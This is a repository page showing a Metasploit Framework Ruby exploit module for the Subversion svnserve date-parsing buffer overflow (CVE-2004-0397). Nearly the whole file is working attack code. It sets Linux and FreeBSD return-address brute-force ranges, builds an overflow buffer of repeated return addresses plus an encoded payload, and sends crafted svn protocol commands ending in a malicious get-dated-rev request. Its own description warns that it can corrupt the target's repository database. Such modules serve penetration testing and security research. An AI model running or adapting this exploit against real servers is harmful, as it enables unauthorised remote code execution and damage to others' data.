root / modules / exploits / multi / svn / svnserve_date.rb @ master
History | View | Annotate | Download (3.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
require 'msf/core/exploit/http/client'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = AverageRanking |
| 17 |
|
| 18 |
include Msf::Exploit::Brute |
| 19 |
include Msf::Exploit::Remote::Tcp |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'Subversion Date Svnserve', |
| 24 |
'Description' => %q{ |
| 25 |
This is an exploit for the Subversion date parsing overflow. This |
| 26 |
exploit is for the svnserve daemon (svn:// protocol) and will not work |
| 27 |
for Subversion over webdav (http[s]://). This exploit should never |
| 28 |
crash the daemon, and should be safe to do multi-hits. |
| 29 |
|
| 30 |
**WARNING** This exploit seems to (not very often, I've only seen |
| 31 |
it during testing) corrupt the subversion database, so be careful! |
| 32 |
},
|
| 33 |
'Author' => 'spoonm', |
| 34 |
'Version' => '$Revision$', |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
['CVE', '2004-0397'], |
| 38 |
['OSVDB', '6301'], |
| 39 |
['BID', '10386'], |
| 40 |
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'], |
| 41 |
['MIL', '68'], |
| 42 |
], |
| 43 |
'Payload' =>
|
| 44 |
{
|
| 45 |
'Space' => 500, |
| 46 |
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20", |
| 47 |
'MinNops' => 16, |
| 48 |
}, |
| 49 |
'SaveRegisters' => [ 'esp' ], |
| 50 |
'Arch' => 'x86', |
| 51 |
'Platform' => [ 'linux', 'bsd' ], |
| 52 |
'Targets' =>
|
| 53 |
[ |
| 54 |
[ |
| 55 |
'Linux Bruteforce',
|
| 56 |
{
|
| 57 |
'Platform' => 'linux', |
| 58 |
'Bruteforce' =>
|
| 59 |
{
|
| 60 |
'Start' => { 'Ret' => 0xbffffe13 }, |
| 61 |
'Stop' => { 'Ret' => 0xbfff0000 }, |
| 62 |
'Step' => 0 |
| 63 |
} |
| 64 |
}, |
| 65 |
], |
| 66 |
[ |
| 67 |
'FreeBSD Bruteforce',
|
| 68 |
{
|
| 69 |
'Platform' => 'bsd', |
| 70 |
'Bruteforce' =>
|
| 71 |
{
|
| 72 |
'Start' => { 'Ret' => 0xbfbffe13 }, |
| 73 |
'Stop' => { 'Ret' => 0xbfbf0000 }, |
| 74 |
'Step' => 0 |
| 75 |
} |
| 76 |
}, |
| 77 |
], |
| 78 |
|
| 79 |
], |
| 80 |
'DisclosureDate' => 'May 19 2004')) |
| 81 |
|
| 82 |
register_options( |
| 83 |
[ |
| 84 |
Opt::RPORT(3690), |
| 85 |
OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ]) |
| 86 |
], self.class)
|
| 87 |
|
| 88 |
register_advanced_options( |
| 89 |
[ |
| 90 |
# 62 on spoonm's, 88 on HD's
|
| 91 |
OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]), |
| 92 |
OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ]) |
| 93 |
], self.class)
|
| 94 |
end
|
| 95 |
|
| 96 |
def check |
| 97 |
end
|
| 98 |
|
| 99 |
def brute_exploit(addresses) |
| 100 |
connect |
| 101 |
|
| 102 |
print_status("Trying #{"%.8x" % addresses['Ret']}...")
|
| 103 |
|
| 104 |
buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded |
| 105 |
|
| 106 |
[ |
| 107 |
"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ", |
| 108 |
"( ANONYMOUS ( 0; ) )",
|
| 109 |
"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) " |
| 110 |
].each_with_index { |buf, index|
|
| 111 |
trash = sock.get_once |
| 112 |
|
| 113 |
print_line("Received: #{trash}") if debugging? |
| 114 |
|
| 115 |
if (sock.put(buf) || 0) == 0 and index < 3 |
| 116 |
print_error("Error transmitting buffer.")
|
| 117 |
raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors'] |
| 118 |
end
|
| 119 |
|
| 120 |
if index == 3 and trash.length > 0 |
| 121 |
print_error("Received data when we shouldn't have")
|
| 122 |
raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors'] |
| 123 |
end
|
| 124 |
} |
| 125 |
|
| 126 |
handler |
| 127 |
disconnect |
| 128 |
end
|
| 129 |
|
| 130 |
def lengther(buf) |
| 131 |
"#{buf.length}:" + buf
|
| 132 |
end
|
| 133 |
|
| 134 |
end
|